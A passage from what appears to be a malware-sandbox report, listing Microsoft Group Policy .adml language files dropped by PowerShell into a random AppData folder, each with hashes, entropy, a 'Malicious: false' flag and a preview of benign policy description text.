Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2008 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Network Connectivity Status Indicator Group Policy Settings</displayName>.. <description>Network Connectivity Status Indicator Group Policy Settings</description>.. <resources>.. <stringTable>.. <string id="NCSI_Category">Network Connectivity Status Indicator</string>.. <string id="NCSI_CorpWebProbeUrl">Specify corporate Website probe URL</string>.. <string id="NCSI_CorpWebProbeUrl_Help">This policy setting enables you to specify the URL of the corporate website, against which an active probe is performed.</string>.. <string id="NCSI_CorpDnsProbeHost">Specify corporate DNS probe host name</string>.. <string id="NCSI_CorpDnsPro

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Netlogon.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (1008), with CRLF line terminators
Category:	dropped
Size (bytes):	46428
Entropy (8bit):	4.777664679838725
Encrypted:	false
SSDEEP:	768:MwjkYrp+MHlkfrwiTrotseXkz4l/hHui7n421:/wYrcMHlkfrwiTrot3Xk8l9uM40
MD5:	B6CB2AF44B11487F92D14A3E9B7B4F70
SHA1:	DCFC1F715BD49D62021568F76D8CD3BBB85D01CF
SHA-256:	14B401FBE6F5FD279430D383196F16AC0D93EE665D0225C7F2C4C3DD56D7B847
SHA-512:	7373B5EFF0A8574961C7373CEF567071852FB57663978ED9E1A8BB2E9B6E4AB1390260204B518D40621AEC4B5F14A18793BE7D4550ADABBA0BDA11FFA90EEA6A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Netlogon">Net Logon</string>.. <string id="Netlogon_AllowSingleLabelDnsDomain">Use DNS name resolution with a single-label domain name instead of NetBIOS name resolution to locate the DC</string>.. <string id="Netlogon_AllowSingleLabelDnsDomain_Help">This policy setting specifies whether the computers to which this setting is applied attempt DNS name resolution of a single-label domain names.....By default, the behavior specified in the AllowDnsSuffixSearch is used. If the AllowDnsSuffixSearch policy is d

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\NetworkConnections.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1486), with CRLF line terminators
Category:	dropped
Size (bytes):	41991
Entropy (8bit):	4.576451646468249
Encrypted:	false
SSDEEP:	768:0dx8EooEviP1PjM6PtCldxD9xI2FzOkRZWx+LmCYvecgy3W7dlDelurmYEg4g+z/:iFOI
MD5:	0F0684FA5CF664EAF158690457E68D92
SHA1:	DFA272AD045597933D1144F01921EABA0B6BC4A4
SHA-256:	E86F5AD0D0A55ED34D90A2EE7222564656C684FCA48F9CE2C0363266C7C10ECE
SHA-512:	ED1BEF62FA7CECD3E618F31D951259704A13910E4AD3276C396003AF543EE6C6FBC86E4573366D6103D997B1C2DE98E879AE08BAB5676BE2F12579CBEDDD7D10
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="NC_AddRemoveComponents">Prohibit adding and removing components for a LAN or remote access connection</string>.. <string id="NC_AddRemoveComponents_Help">Determines whether administrators can add and remove network components for a LAN or remote access connection. This setting has no effect on nonadministrators.....If you enable this setting (and enable the "Enable Network Connections settings for Administrators" setting), the Install and Uninstall buttons for components of connections are disabled, and admini

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\NetworkIsolation.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	exported SGML document, ASCII text, with very long lines (461), with CRLF line terminators
Category:	dropped
Size (bytes):	6746
Entropy (8bit):	4.9079819692940125
Encrypted:	false
SSDEEP:	96:V+D5pmzqJhUf3fJyoZ+EsiZoTCdhY5+J6M6xpBGbvH4J5w4V:qdU/hyoXZoSrJ6nxpkbvHKN
MD5:	39E7220D62B6A3DBB2C126FBB57233BA
SHA1:	FA2CA706CB425FF910215D0E0D84DC05FEC673B6
SHA-256:	D7FDCFBCAD3F6A8CAE618320A16E408B4EF7A2830EBE54AC141F8CD37C4B26D2
SHA-512:	843380F52E434137DE92DF229B2C5103223EB4A22C6A52FC679B63A943938BD38B5AA5167F4DDB6620E921CEA1315B1EA84E1847AD83C780419FC1470E93E9BE
Malicious:	false
Preview:	(c) 2011 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Network Isolation </displayName>.. <description>Configures Network Isolation Options for apps </description>.. <resources>.. <stringTable>.. .<string id="WF_Isolation">Network Isolation</string>........ Define server addresses that proxy to the Internet -->......<string id="WF_NetIsolation_Domain_Proxies">Internet proxy servers for apps</string> ...<string id="WF_NetIsolation_Domain_Proxies_Help"> This setting does not apply to desktop apps......A semicolon-separated list of Internet proxy server IP addresses. These addresses are categorized as Internet by Windows Network Isolation and are accessible to apps that have the Internet Client or Internet Client/Server capabilities....

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\NetworkProjection.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2267
Entropy (8bit):	4.838388154516794
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKQqmmBpOVxwxpBewWk7EQg+61kg+6xrjMWK/WV:LeD5pmEqmmp8xwLBzWkiz/zZjMWK/WV
MD5:	1AEA64EE82CCCF20BE4E7178E0D9C569
SHA1:	674AC6F5BD545EB75E05FED6CDD384C4440C2B29
SHA-256:	615E09EEC96E2E99550CA7014AD5E7249C031E1E19B2241032C1BE983622729D
SHA-512:	0FDE894C202D495A8A674E637B6E5B1BE25333C1D4BFECA1CA3503A19E43ECB847131FF32B81145822C87513C308C07B9CBB8A519A62999FA992CB28C3348210
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableNetworkProjector">Turn off Connect to a Network Projector</string>.. <string id="DisableNetworkProjectorExplain">This policy setting disables the Connect to a Network Projector wizard so that users cannot connect to a network projector. ....If you enable this policy setting, users cannot use the Connect to a Network Projector Wizard to connect to a projector. ....If you disable or do not configure this policy setting, users can run the Connect to a Network Projector Wizard to connect to a projector.</st

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\OfflineFiles.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (634), with CRLF line terminators
Category:	dropped
Size (bytes):	50909
Entropy (8bit):	4.7108422069629725
Encrypted:	false
SSDEEP:	1536:c5kq1yeql7iURcwKILdZoJ7TCFRFzMOXIo:ZekZMOD
MD5:	845935D73456E658B4DD9CB27224CBF7
SHA1:	7336E494495EB05622F3791BC19E46499B3B60DE
SHA-256:	169924EB41BD644647F5F4710438C757F1C3BEF0196D4D09CBF9B52D05D17A47
SHA-512:	9F6BDF080314A23D1A82321CB3C8171130695E82205F32E895A7C1EEDAE59571E2C22E09171FA9377BC429A0E8118E44E151754ED2FF1A63B112494F54A9FF02
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Cat_OfflineFiles">Offline Files</string>.. <string id="Lbl_Fail">Never go offline</string>.. <string id="Lbl_FullSync">Full</string>.. <string id="Lbl_QuickSync">Quick</string>.. <string id="Lbl_WorkOffline">Work offline</string>.. <string id="Pol_AlwaysPinSubFolders">Subfolders always available offline</string>.. <string id="Pol_AlwaysPinSubFolders_Help">Makes subfolders available offline whenever their parent folder is made available offline.....This setting automatically extends the

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\P2P-pnrp.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (447), with CRLF line terminators
Category:	dropped
Size (bytes):	15965
Entropy (8bit):	4.663039279812552
Encrypted:	false
SSDEEP:	192:EVvPk2QsF4WSKheDnylZ+QsF4W+KheDnyxko4QsF4WnKheDnyGS8OzsO4WdmI:OLvhwTjhwK4khwQ8wr
MD5:	4CE12CD17365AE6E6C922AE0C3D70110
SHA1:	328E59731F170FD42BA614E5FD6AC09AAD91C8D5
SHA-256:	D262B118B555E83840A9AC077963B0E50F589C09950F77EB5865D25776D1A78B
SHA-512:	41B5A3AF2D00993E50B4DA53132DFF75F07B549405C88589FB96AA85E074C418CA35931FA1B674EF7129B3495FABE404EF4A74F4C20A48BDE6F3E7A7408583A6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="P2P_Disabled">Turn off Microsoft Peer-to-Peer Networking Services</string>.. <string id="P2P_Disabled_Explain">This setting turns off Microsoft Peer-to-Peer Networking Services in its entirety, and will cause all dependent applications to stop working.....Peer-to-Peer protocols allow for applications in the areas of RTC, collaboration, content distribution and distributed processing.....If you enable this setting, peer-to-peer protocols will be turned off.....If you disable this setting or do not configure it,

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\ParentalControls.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1084
Entropy (8bit):	5.01040774159096
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yDTRc42cN28Ml28Sv7T8MZFV:cgeD5x8gm8fKitDvNQlGVFV
MD5:	2DD43AEA1D0F6713F020401FC72878BC
SHA1:	4A8B428938DB72FC55F5EA72F95E9323BE1B4192
SHA-256:	FC70BC44ADAEC32E39A503CEEC2F52B98C697D61BE6C120A96480445A968FE5A
SHA-512:	CB4FC3B7FC46F1CBFEE1EDA2B6D51ECE2E8DBE983BB0D083109D999AC020634721FD3B42D917FEB9146A12F86D79389FAA6B95CA0832F58CC063B22D0C4B882B
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ParentalControls">Family Safety</string>.. <string id="ParentalControls_EnableOnDomain_help">This policy setting allows you to configure the Family Safety feature.....If you enable this policy setting, the Family Safety control panel is visible on a domain joined computer.....If you disable or do not configure this policy setting, the Family Safety control panel is not visible on a domain joined computer.</string>.. <string id="ParentalControls_EnableOnDomain">Make Family Safety control panel visible on a

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\PeerToPeerCaching.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (754), with CRLF line terminators
Category:	dropped
Size (bytes):	24638
Entropy (8bit):	4.564624284444478
Encrypted:	false
SSDEEP:	384:N1iKAegTK4PjZqKNomwtzxkBK8R02vXkh3RIaImzg6h3hquhT:N1itegT5PjsQHwtzxkBJR9yqmzh3N
MD5:	B5D667D298E0EDCC6D2FB6F0C01B7223
SHA1:	931DE60F0DBE31DC890905C6D7ACC05112F810A8
SHA-256:	673CB9F3C9B5B753C41C6B44519A04C32A10ABD90533CEC88E4AD20A0E564D55
SHA-512:	44C5535A92A8DE5364FCC39ED26171BBA4C25DDE495BFA9A9695A7F2E7F579AE08D972CAFF848ED9D5A6339307EA3CD2033838FF8AE006340D2CCB8A9F90ADB9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>BranchCache</displayName>.. <description>BranchCache enables clients to securely retrieve content from within the branch office instead of having to retrieve it from the server hosting the content. Depending on the deployment mode, the content can be retrieved from other clients in the branch office or from a hosted cache server in the branch. A client can only retrieve content from within the branch if it is authorized by the server to do so. The use of BranchCache reduces costs on the wide area network (WAN) link that connects your branch offices to the data center or headquarters and increases download speeds for content that has already been downl

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\PenTraining.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1208
Entropy (8bit):	5.027249517124002
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yx9WmOQzWmYKAQKvqmiHAQKvMFV:cgeD5x8gm8fKAQmOVmYHimTHkFV
MD5:	7B4EC129E00834B2E499BEBCE8E75083
SHA1:	D4BEA36D9A628D70055431E5A6967BAF87294A02
SHA-256:	A00BB104395F6DC86AF2921893AF3BC129D7A2A2DDFA5CCA22FF6D055AF11E31
SHA-512:	5A5E2389AB7A3C432FEEB8D68F1C144A1525934FC1FA8442E8C12CC11652FEDF101E73AD8D10197FDC0F6AF0DA2D887BEFE2BAD792BEF4E943DD9C71EBAEB2F6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="PenTraining">Tablet PC Pen Training</string>.. <string id="PenTrainingOff">Turn off Tablet PC Pen Training</string>.. <string id="PenTrainingOff_Help_LOCALMACHINE">Turns off Tablet PC Pen Training.....If you enable this policy setting, users cannot open Tablet PC Pen Training.....If you disable or do not configure this policy setting, users can open Tablet PC Pen Training.</string>.. <string id="PenTrainingOff_Help_USER">Turns off Tablet PC Pen Training.....If you enable this policy setting, users ca

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\PerformanceDiagnostics.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (577), with CRLF line terminators
Category:	dropped
Size (bytes):	8181
Entropy (8bit):	4.68291957028103
Encrypted:	false
SSDEEP:	192:E65cdjVSpt6DejVSpOZq1jVSpWLqXjVSpsHz2TgS:bk4md
MD5:	1242B4E18BC034195D7064E4CDEB8B92
SHA1:	4BF81B86AC91ED3B51C97569728CD29858459D68
SHA-256:	29F060D6A4CA93A94F33D46150AF949B5F2EB63214AF05C5700E552555F81C54
SHA-512:	0A17703E8858409CB9AEBE827143EA77516576F473AC18873B3848F4A4D000F739E757655945CAB3DBE8E05B06496E07C2C8C7811CE5D7407153D9B167B8015E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="BootScenarioCategory">Windows Boot Performance Diagnostics</string>.. <string id="BootScenarioExecutionPolicyExplain">Determines the execution level for Windows Boot Performance Diagnostics.....If you enable this policy setting, you must select an execution level from the dropdown menu. If you select problem detection and troubleshooting only, the Diagnostic Policy Service (DPS) will detect Windows Boot Performance problems and attempt to determine their root causes. These root causes will be logged to the eve

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\PerformancePerftrack.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.988086677223878
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yuh9J6k7LXp4qVacJPYidFV:cgeD5x8gm8fKVJ6kSuacFYidFV
MD5:	EF84A579BC8272236E53AB9F5BEE92CB
SHA1:	670EA5FF6A1559F695E15D3A2D17B2A100BA79B7
SHA-256:	82C7F47D059ED97EF6AC7068E43E6933E84ACE56543FD8C945065A51C0644A63
SHA-512:	92D8CC050A24AC9F2D059486A9EA5A8184FCC6798261F789E36F1A4694F379EC9EFA8CA69AF8D53502187B7D908850EB2233038BD22901D116195F32E0E8A937
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="PerfTrackCategory">Windows Performance PerfTrack</string>.. <string id="PerfTrackScenarioExecutionPolicyExplain">This policy setting specifies whether to enable or disable tracking of responsiveness events.....If you enable this policy setting, responsiveness events are processed and aggregated. The aggregated data will be transmitted to Microsoft through SQM.....if you disable this policy setting, responsiveness events are not processed.....If you do not configure this policy setting, the DPS will enable Wind

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Power.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (389), with CRLF line terminators
Category:	dropped
Size (bytes):	29740
Entropy (8bit):	4.822333468541642
Encrypted:	false
SSDEEP:	384:EkJF7YAK1c67c5h9xRoKYy5V8iisCaeZou2Ap6:EkJF7YA0a9xR5V8iPCgu2Ap6
MD5:	C0E2A98755B3DA961DBBCFA1A621154B
SHA1:	878508DB646C47D8A36C90305D919C52CD8DC11C
SHA-256:	0F8B66F7B315426ABEC4B71912D2FF5F1F4A573AC391CD8E0A10738AF808F8A6
SHA-512:	AD72CA9823E3581557BE15F198F6BB697CEF9CC372881FED501DB236D6B35834A220603F4AB36FBEE65D36DF3473862F0AD93F9443EF82204F28130F635910E8
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ACCriticalSleepTransitionsDisable">Turn on the ability for applications to prevent sleep transitions (plugged in)</string>.. <string id="ACHibernateTimeOut">Specify the system hibernate timeout (plugged in)</string>.. <string id="ACPowerButtonAction">Select the Power button action (plugged in)</string>.. <string id="ACPromptForPasswordOnResume">Require a password when a computer wakes (plugged in)</string>.. <string id="ACSleepButtonAction">Select the Sleep button action (plugged in)</string>..

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\PowerShellExecutionPolicy.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8601
Entropy (8bit):	4.7004620993687665
Encrypted:	false
SSDEEP:	96:wB3f/vzRzuppcRzhl5tWSLh2xwqmHfc9Ka7yOUpJD4mUQfStlm8hOE9m7pqHXSp3:ozRzu0P+uIxrmpn8mgtlm8B9mgc3
MD5:	6E1645BEEB36B67E2486DF156AD73713
SHA1:	96BF04C94854CBA227B3E3518A5BF6EEEEFFCA64
SHA-256:	1963DE8A3D77000A3DCF16B751132920F2F8ED0274905285C914469D1597F11D
SHA-512:	5A6D2DAEE84146D94A7D93640C92B14792C759D1E778C25BA3CA3B892628B87848EC414EC6DB709F6912B3E38397C608A343D719AF8B26169022FADBCF35DB79
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<policyDefinitionResources xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" revision="1.0" schemaVersion="1.0" xmlns="http://www.microsoft.com/GroupPolicy/PolicyDefinitions">.. <displayName>Windows PowerShell</displayName>.. <description>This file contains the configuration options for Windows PowerShell</description>.. <resources>.. <stringTable>.. <string id="AllScripts">Allow all scripts</string>.. <string id="AllScriptsSigned">Allow only signed scripts</string>.. <string id="EnableScripts">Turn on Script Execution</string>.. <string id="EnableScripts_Explain">This policy setting lets you configure the script execution policy, controlling which scripts are allowed to run.....If you enable this policy setting, the scripts selected in the drop-down list are allowed to run.....The "Allow only signed scripts" policy setting allows scripts to execute only if they are signed

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\PreviousVersions.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5301
Entropy (8bit):	4.592135641503131
Encrypted:	false
SSDEEP:	96:LeD5pmieohnx5hxncDmeoqCcxjBgAeocs7x7BNcGDQaFV:EBtx5h9zqCccQcs75BhDQan
MD5:	4DAE700A902336A7ACD9315F2DCB6F00
SHA1:	B472C8447E223252B2B43403D60468B62C3FFE2C
SHA-256:	DC5A3DE3D24654B83D269B2A74148B777261995A56ABAD7943616BBA648A28AE
SHA-512:	3C572957861E0FD9D62F51C8ED0DB407C7C20C1DBCD99B2F06F60DE19D31158367D03C8729E8EC0B41F983D7744F9FEADE91C4AE68434EFEBDF57F9BBC201D9E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableBackupRestore">Prevent restoring previous versions from backups</string>.. <string id="DisableBackupRestore_Help">This policy setting lets you suppress the Restore button in the previous versions property page when the user has selected a previous version of a local file, in which the previous version is stored on a backup.....If you enable this policy setting, the Restore button is disabled when the user selects a previous version corresponding to a backup.....If you disable this policy setting, the Re

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Printing.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (568), with CRLF line terminators
Category:	dropped
Size (bytes):	33066
Entropy (8bit):	4.630945231898182
Encrypted:	false
SSDEEP:	384:YRG9T17KYkXyUrqDiynH2yi4oO+gwlquRfpxHkyT/yT/eaXl+H1CUnJi:tvmrrnlpxHkyedu1CUnw
MD5:	587143E4C31AF88A0591C34F205DB7FB
SHA1:	F6B86A1E88E2822BA2A595E6BD047BD04CCD5C0B
SHA-256:	90D12A7BC2ECAE124C62A43069FCD48E3AAA6F214325372EA82E5727F290D184
SHA-512:	ED01D954728347AA2A0DED6D0F351BDDD5C9CA0254802BCEED01104D5C5909342A15A6D628B4249782151E748514679822A169A3CC846722E1BA81A24D9EAAA3
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8" standalone="yes"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowWebPrinting">Activate Internet printing</string>.. <string id="AllowWebPrinting_Help">Internet printing lets you display printers on Web pages so that printers can be viewed, managed, and used across the Internet or an intranet..... If you enable this policy setting, Internet printing is activated on this server..... If you disable this policy setting or do not configure it, Internet printing is not activated..... Internet printing is an extension of Internet In

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Printing2.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (640), with CRLF line terminators
Category:	dropped
Size (bytes):	14598
Entropy (8bit):	4.638367767119586
Encrypted:	false
SSDEEP:	192:vPo4LQX7miuddCSgP71CTd5xZSq5ynxWmBIY+DOxH++JGQfFD:ox7Idu7Ih5xwqcJJrxPAM
MD5:	5BA865D69814055E09D5698701921315
SHA1:	E0F4F6C1D949A6E2B1A30D4397CED3C175A3F003
SHA-256:	28D160709A578AE08008CE9F84EFA853F0CD30C05AC418ED0085133B7F5BE4F8
SHA-512:	7A09CB06DAE4236124B0CDE8B8C4887C95CEAE97C1EEB8D632AFE142B4ED7BBA4DB52AE3BFF03253C9CE7C5242FD6E8894B74A7AB294BECA5B39429FCF09591F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8" standalone="yes"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0">.. <displayName>Printing Group Policies</displayName>.. <description>Printing Group Policies valid on all Windows flavors except ARM</description>.. <resources>.. <stringTable>.. <string id="RegisterSpoolerRemoteRpcEndPoint">Allow Print Spooler to accept client connections</string>.. <string id="RegisterSpoolerRemoteRpcEndPoint_Help">This policy controls whether the print spooler will accept client connections.....When the policy is unconfigured or enabled, the spooler will always accept client connections.....When the policy is disabled, the spooler will not accept client connections nor allow users to share printers. All printers current

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Programs.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (424), with CRLF line terminators
Category:	dropped
Size (bytes):	7022
Entropy (8bit):	4.658208655049282
Encrypted:	false
SSDEEP:	96:LeD5pmxKh8Wc3Ww1nZy8hmiZWV9k4W0DWivt2fpre9hWJT+K3AqcOrzqhScDMFsO:EU3RnY82DVYfUrWd+kxXc0sVcfu9q
MD5:	14D4B2677604A342B26891EFC3597078
SHA1:	A51EBAF7D5FCFF778B9AEDCE6F37C5C9D6B2B0EC
SHA-256:	5EE2DF374170A87F773008D43AEBEBEF3E1C451F0E9A530B6F2CD5C1601E0012
SHA-512:	DB06D2D412763EC3ACA0D03D4694E6D86C4149B57BD31EA91E8C0E0C3ED8C56B15FDBB2B3FB441D5DC3C5BD262FDE2543A27477FF32C2509473B87B5B10DEDEF
Malicious:	false
